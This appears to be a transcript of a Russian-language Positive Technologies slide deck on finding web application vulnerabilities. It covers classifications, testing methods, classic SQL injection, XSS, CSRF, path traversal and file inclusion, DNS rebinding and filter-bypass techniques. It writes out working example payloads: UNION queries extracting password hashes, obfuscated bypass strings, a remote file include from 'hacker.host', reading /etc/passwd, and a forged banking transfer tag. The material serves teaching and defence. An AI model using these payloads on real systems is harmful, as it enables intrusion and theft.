Анализ защищенности web-приложений, выявление...

118
Анализ защищенности web-приложений, выявление уязвимостей в реальных условиях Дмитрий Евтеев, Александр Анисимов Positive Technologies

Upload: dmitry-evteev

Post on 03-Nov-2014

125 views

Category:

Documents


19 download

DESCRIPTION

Уязвимости и атаки на Web-приложения, общепринятые классификации уязвимостей. Ошибки, допускаемые разработчиками при создании клиентской и серверной частей Web-приложения, их возможные последствия и методы выявления и устранения. Примеры из практики. Обзор специализированных средств защиты Web-приложений: Web Application Firewall (WAF). Стоит ли полагаться на WAF? Методология выявления уязвимостей в Web-приложениях, в частности, с использованием различных средств автоматического анализа.

TRANSCRIPT

Page 1: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Анализ защищенности web-приложений, выявление уязвимостей в реальных

условиях

Дмитрий Евтеев, Александр Анисимов

Positive Technologies

Page 2: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

О чем пойдет речь

Введение в тему безопасности web-приложений

Методология выявления уязвимостей в web-приложениях

Классические техники эксплуатации уязвимостей

Современные техники эксплуатации уязвимостей

Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности

Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)

Резюме

Page 3: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Опасный мир web-приложений

По данным компании Positive Technologies за 2008 год

• 83% сайтов содержат критические уязвимости

• 78% сайтов содержат уязвимости средней степени риска

• вероятность автоматизированного заражения страниц уязвимого web-приложения вредоносным кодом составляет приблизительно 15-20%

http://ptsecurity.ru/analytics.asp

Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59 web-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.

Page 4: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Опасный мир web-приложений: статистика за 2008 г.

Page 5: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Классификация уязвимостей в web-приложениях

Web Application Security Consortium WASC-TCv2

http://projects.webappsec.org/Threat-Classification-Workinghttp://www.webappsec.org/projects/threat/

Page 6: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Опасный мир web-приложений: статистика за 2008 г.

Page 7: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Классификация уязвимостей в web-приложениях

OWASP Top 10• A1 - Cross Site Scripting (XSS)

• A2 - Injection Flaws (eq SQL Injection)

• A3 - Malicious File Execution (eq RFI)

• A4 - Insecure Direct Object Reference (eq Insufficient Authorization)

• A5 - Cross Site Request Forgery (CSRF)

• A6 - Information Leakage and Improper Error Handling (eq Information Leakage)

• A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force)

• A8 - Insecure Cryptographic Storage

• A9 - Insecure Communications (eq Insufficient Transport Layer Protection)

• A10 - Failure to Restrict URL Access (eq Insufficient Process Validation)

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Page 8: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Классификация уязвимостей в web-приложениях

CWE/SANS Top 25• Не безопасное взаимодействие между компонентами

CWE-20: Improper Input Validation CWE-116: Improper Encoding or Escaping of Output CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection') CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting') CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection') CWE-319: Cleartext Transmission of Sensitive Information CWE-352: Cross-Site Request Forgery (CSRF) CWE-362: Race Condition CWE-209: Error Message Information Leak

• Риски при управлении ресурсами CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer CWE-642: External Control of Critical State Data CWE-73: External Control of File Name or Path CWE-426: Untrusted Search Path CWE-94: Failure to Control Generation of Code ('Code Injection') CWE-494: Download of Code Without Integrity Check CWE-404: Improper Resource Shutdown or Release CWE-665: Improper Initialization CWE-682: Incorrect Calculation

• Прочие угрозы CWE-285: Improper Access Control (Authorization) CWE-327: Use of a Broken or Risky Cryptographic Algorithm CWE-259: Hard-Coded Password CWE-732: Incorrect Permission Assignment for Critical Resource CWE-330: Use of Insufficiently Random Values CWE-250: Execution with Unnecessary Privileges CWE-602: Client-Side Enforcement of Server-Side Security

http://cwe.mitre.org/top25/

Page 9: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Подходы по снижению угроз

Директивный подход (Directive)

• Software Development Life Cycle (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов

Детективный подход (Detective)

• Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода

Профилактический подход (Preventive)

• Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)

Корректирующий подход (Corrective)

• Ведение журналов событий, обработка инцидентов

Подход к восстановлению (Recovery)

• Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов (BS25999)

Page 10: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Часть 1: Выявление уязвимостей

Методология выявления уязвимостей в web-приложениях

Page 11: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Способы обнаружения уязвимостей в web-приложениях

Тестирование функций

• Метод «черного ящика» (black-box)

• Метод «серого ящика» (gray-box)

• Метод «белого ящика» (white-box)

Фаззинг (fuzzing)

Анализ исходного кода

• Статический анализ

• Динамический анализ

• Ручной анализ

Бинарный анализ приложения (binary analysis)

Page 12: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Пример тестирования функций методом «черного ящика»

Сканирование с использованием MaxPatrol

http://www.ptsecurity.ru/maxpatrol.asp

Page 13: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Пример тестирования функций методом «черного ящика»

Возможности метода «черного ящика» на примере MaxPatrol (1)

Page 14: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Пример тестирования функций методом «черного ящика»

Возможности метода «черного ящика» на примере MaxPatrol (2)

Page 15: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Пример тестирования функций методом «серого ящика»

Acunetix Web Vulnerability Scanner, технология «AcuSensor»

http://www.acunetix.com/websitesecurity/rightwvs.htm

Page 16: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Пример работы фаззера (fuzzing)

Фаззинг сайта, «защищенного» mod_rewrite

Тимур Юнусов, Positive Technologies Research Team (статья в ближайшее время будет опубликована на портале www.securitylab.ru)

Page 17: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Анализ исходного кода web-приложения

Статический анализ

• Минусы

Ошибки первого рода (false negative — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин:

• при программировании web-приложения используется сложный синтаксис;

• проверки переменных происходят с использованием собственных функций приложения;

• отсутствуют соответствующие сигнатуры.

В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false positive — «ложные сообщения об уязвимостях»).

• Плюсы

Простота в реализации.

Наиболее известные разработчики коммерческих продуктов

Armorize Technologies, Fortify, Ounce Labs

Page 18: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Анализ исходного кода web-приложения

Динамический анализ

• Минусы

Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр.

Сложность в реализации.

• Плюсы

Наиболее качественная оценка исходного кода.

Наиболее известные разработчики коммерческих продуктов

Coverity, Valgrind, Fortify PTA

Page 19: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Часть 2: Эксплуатация уязвимостей (basic)

Классические техники эксплуатации уязвимостей

Page 20: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Page 21: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Page 22: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection – Базовые знания

"Внедрение операторов SQL" Способ нападения на базу данных в обход межсетевой защиты. В этом

методе параметры, передаваемые базе данных через web- приложения, изменяются таким образом, чтобы изменить выполняемый SQL-запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным.

Выделяют два вида SQL Injection

• SQL Injection в строковом параметре

Примеры:

SELECT * from table where name = "$_GET['name']"

SELECT id, acl from table where user_agent = '$_SERVER["HTTP_USER_AGENT"]'

• SQL Injection в цифровом параметре

Примеры:

SELECT login, name from table where id = $_COOKIE["id"]

SELECT id, news from table where news = 123 limit $_POST["limit"]

Page 23: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection – Базовые знания

Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения

• Уязвимый запрос может обрабатывать Insert, Update, Delete, etc.

• Инъекция может быть в любом участке SQL-запроса

• Blind SQL Injection (слепое внедрение операторов SQL)

• Особенности языка SQL, используемого в разных СУБД

Уязвимость SQL-инъекция – это не только уязвимость, характерная для web-приложений!

Page 24: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Page 25: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Page 26: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Page 27: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Page 28: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Page 29: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Внедрение операторов SQL»

web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Page 30: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection – Базовые знания

Анатомия SQL-инъекций

SQL-инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени

Page 31: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection – Классическая эксплуатация (MySQL)

Возможный метод обнаружения уязвимости

/?id=1+ORDER+BY+100

• SQL-запрос примет вид

SELECT id, name from table where id =1 ORDER BY 100

• В результате может быть получено следующее сообщение об ошибке

ERROR 1054 (42S22): Unknown column '100' in 'order clause'

Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц

/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

• SQL-запрос примет вид

SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns

• В результате может быть получена требуемая информация в формате

| 0 | table1:column1 || 0 | table1:column2 |

Page 32: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection – Различия СУБД

Особенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual

MySQL MSSQL MS Access Oracle DB2 PostgreSQL

Объединение строкconcat(,)

concat_ws(delim,)' '+' ' " "&" " ' '||' '

'' concat ''" "+" "

' '||' '' '||' '

Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*

Объединение запросов union union и ; union union union union и ;

Подзапросы v.4.1 >= Да Нет Да Да Да

Хранимые процедуры Нет Да Нет Да Нет Да

Наличие information_schema или его аналога

v.5.0 >= Да Да Да Да Да

Page 33: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Page 34: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Cross-Site Scripting – Базовые знания

"Межсайтовое выполнение сценариев“ Межсайтовое выполнение сценариев (Cross site scripting или XSS) – это

возможность вставки HTML-кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д.

Условно Cross-Site Scripting (XSS) делят на:• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)

Cross-Site Scripting – это уязвимость на стороне клиента (client side)

• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension

Page 35: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-серверhttp://web/?search=secureweb

…print "<b>secureweb</b>";…

Page 36: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-серверhttp://web/?search=secureweb

…print "<b>secureweb</b>";…

Page 37: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

Page 38: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

Page 39: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

Page 40: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Межсайтовое выполнение сценариев»

web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

5. Например, передача web-сессии (cookies)

6. Работа с web-приложением от имени атакованного пользователя

Page 41: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Cross-Site Scripting – Классическая эксплуатация

Возможный метод обнаружения уязвимости

/?id="><script>alert(1)</script>

• HTML-код возвращаемой страницы примет вид

…<font size=""><script>alert(1)</script>"…

• В результате браузер выполнит код java-script

Пример практического использования: "><script src=http://host/script.js></script>

Дополнительные материалы:• ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html• WASC Script Mapping: http://projects.webappsec.org/Script-Mapping

Page 42: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Cross-Site Scripting – Различия браузеров

http://projects.webappsec.org/Script-Mapping

Page 43: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Page 44: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Статистика используемых паролей в России

Более 40% паролей можно взломать из-за простоты

Статистика по паролям низкой стойкости у администраторов:

Данные основываются на анализе более 185 тысяч паролей пользователей (http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf).

Page 45: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подбор»

web-серверhttp://web/secure/

Page 46: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подбор»

web-серверhttp://web/secure/

Page 47: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp

Page 48: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Path Traversal, L/RFI– Базовые знания

Пример уязвимости Path Traversal• Логика программы:fopen($_GET['file'],"r"); index.php?file=myfile.txt• Пример эксплуатации:index.php?file=/../../../../../etc/passwd

Опасность уязвимости Local File IncludingФункции include() и require() интерпретируют текст как часть

программного кода!• Логика программы:include($_GET['file'].".inc"); index.php?file=myfile• Пример эксплуатации:index.php?file=img/command_shell.jpg%00

Рождение Remote File Including• Если allow_url_fopen & allow_url_include в состоянии enable, то:index.php?file=http://hacker.host/command_shell

Page 49: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Обратный путь в директориях»

web-серверhttp://web/?file=positive.jpg

….$handle = fopen("positive.jpg","r"); $contents = fread($handle, filesize("positive.jpg")); ….

Page 50: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Обратный путь в директориях»

web-серверhttp://web/?file=../../../../../../etc/passwd

….$handle = fopen("../../../../../../etc/passwd","r"); $contents = fread($handle, filesize("../../../../../../etc/passwd")); ….

Page 51: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости web-приложений

Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)

• Почти не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)

• В основном, ошибка в том или ином виде встречается во всех анализированных web-приложениях

• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением

Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к web-приложению

Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)

Зачастую применяется связка XSS + CSRF

Page 52: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

Page 53: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

Page 54: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

Page 55: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

4. Если сессия пользователя существует, то…

Page 56: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Часть 3: Эксплуатация уязвимостей (advanced)

Современные техники эксплуатации уязвимостей

Page 57: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Подделка HTTP-запросов»

Распространенные способы защиты от CSRF-атак:

• Использование CAPTHA

• Использование дополнительной аутентификации

Парольная аутентификация;

Одноразовый токен.

• Уникальный токен самого HTTP-запроса

Токен HTTP-запроса генерируется на стороне сервера;

Токен HTTP-запроса генерируется на стороне сервера и формируется на стороне клиента (javascript);

Токен HTTP-запроса генерируется на стороне сервера и меняется каждые N секунд. Клиент узнает о новом токене, используя технологию AJAX.

• Использование механизмов подписи транзакций

• Защита на основе проверки HTTP Referer

Page 58: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Защита от уязвимости типа «Подделка HTTP-запросов»

Пример реализации защиты от CSRF на основе OWASP CSRFGuard

http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project

Page 59: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Защита от уязвимости типа «Подделка HTTP-запросов»

Пример реализации защиты от CSRF на основе JSCK (java-script)

http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/

Page 60: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Защита от уязвимости типа «Подделка HTTP-запросов»

OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard и др. – решения по защите от CSRF на уровне интеграции с приложением

mod_security в качестве проверки HTTP Referrer. Пример:

SecFilterSelective HTTP_REFERER "!(^$|^http:/www\.example\.com/)" chainSecFilterSelective REQUEST_URI "!^(/|/index\.html|/welcome\.html|)$" \"redirect:http://www.example.com/welcome.html"

Инструменты для обнаружения уязвимости CSRF:

• OWASP CSRFTester

• Grendel-Scan

• W3af

• и др.

Page 61: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

Современный CSRF – Dynamic Cross-Site Request Forgery

BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf

Как это работает?

• На основе «полезной информации» браузера пользователя можно провести Dynamic CSRF

• Фиксация сессии (Session Fixation)

• Использование вектора атаки типа "brute force" (используется атака "CSS History Hack")

Page 62: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

Page 63: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

Page 64: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

3. Переходит по ссылкеhttp://bonus/bonus.htm

Page 65: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

1. Отправка ссылки пользователю:http://bonus/bonus.htm

Интернет-банк(ibanking)

Узел, управляемый атакующим (bonus)

2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)

3. Переходит по ссылкеhttp://bonus/bonus.htm

4. На основе полученного Referer подгружается картинка:http://ibanking/action?account=12345&amount=500&for=54321&token=765234

5. Атака завершена

Page 66: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Динамическая подделка HTTP-запросов»

Использование CSS History Hack (Jeremiah Grossman) для проведения Dynamic Cross-Site Request Forgery

BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/

Как это работает?

Вариант защиты:

http://www.safehistory.com/

Page 67: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

CSRF & XSS

Почему CSRF & XSS ?

Облегчает проведение Dynamic Cross-Site Request Forgery

Зачастую используется для сканирования портов внутренней сети

• Снятие отпечатков используемых сервисов (fingerprinting)

• Определение полномочий (CSS History Hack)

Пример реализации: Yokoso (http://yokoso.inguardians.com/)

Page 68: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

CSRF & XSS

Самая простая реализация порт-сканера на java-script

http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js

Page 69: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Атака «Anti DNS Pinning»

Атака "Anti DNS Pinning" (DNS rebinding)

Обход ограничений Same origin policy

Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к web-приложению через браузер пользователя.

BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html

Page 70: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Anti DNS Pinning»

Контролируемый web-серверwww.hack.example (1.1.1.1)

MS Project Server192.168.0.1

Прочие

1. Пользователь обращается к внешнему web-серверу

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

Cisco SDM192.168.0.2

Page 71: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

2. Полученный сценарий java-script, например,через 2 секунды делает повторное обращение

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

3. Атакующий блокирует доступ к web-серверу

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 72: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

4. Происходит повторное разрешениеимени www.hack.example

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 73: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

6. Браузер посылает запрос на 192.168.0.1:GET / HTTP/1.1Host: www.hack.example…

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 74: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимость типа «Anti DNS Pinning»

Cisco SDM192.168.0.2

MS Project Server192.168.0.1

Прочие

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

7. Образуется полноценный каналдля работы с внутренним ресурсом

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 75: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Часть 4: Эксплуатация уязвимостей (filters bypass)

Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности

Page 76: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Фильтры поступающих данных. Какие они бывают

Прозрачные для web-приложения

• magic_quotes_gpc, display_errors, etc

• mod_rewrite, ISAPI-фильтры, etc

Встроенные функции языка разработки

• УниверсальныеПример: addslashes(), addcslashes(), htmlspecialchars(), etc

• Предназначенные для определенной средыПример: mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc

Разрабатываемые самим программистом

• Приведение типов

• Использование регулярных выражений

Page 77: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности (1) – SQL Injection

Использовать кодирование передаваемых в приложение данных

• Строка «qwerty» может быть представлена неограниченным количеством вариаций

Hex-кодирование: 0x717765727479

ASCII-представление: char(113),char(119),char(101),char(114), char(116),char(121)

Использование шифрования с разным ключом: ╧i╘═╗Г▐╗щ~)°°Р=

• Пример:

hex(AES_ENCRYPT('qwerty',1)) – это B969A9A01DA8E78FA8DD7E299C9CF23D

aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) – это qwerty

Page 78: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности (2) – SQL Injection

Использовать представления, отсутствующие в фильтре

• Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH()

LOWER() -> LCASE()

OCTET_LENGTH() -> LENGTH()

LOCATE() -> POSITION()

REGEXP() -> RLIKE()

UPPER() -> UCASE()

и т.д.

• Обфускация запроса и данных

Примеры обфускации строки «qwerty»:

reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110)))

concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))

Page 79: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности – SQL Injection

Пример по обходу сигнатур (обфускация запроса)

• Следующий запрос попадает в сигнатуру приложения

/?id=1+union+(select+1,2+from+test.users)

• Но иногда используемые сигнатуры можно обойти

/?id=1+union+(select+'xz'from+xxx)

/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users))

/?id=1+union+(sELect'1',concat(login,hash)from+test.users)

/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))

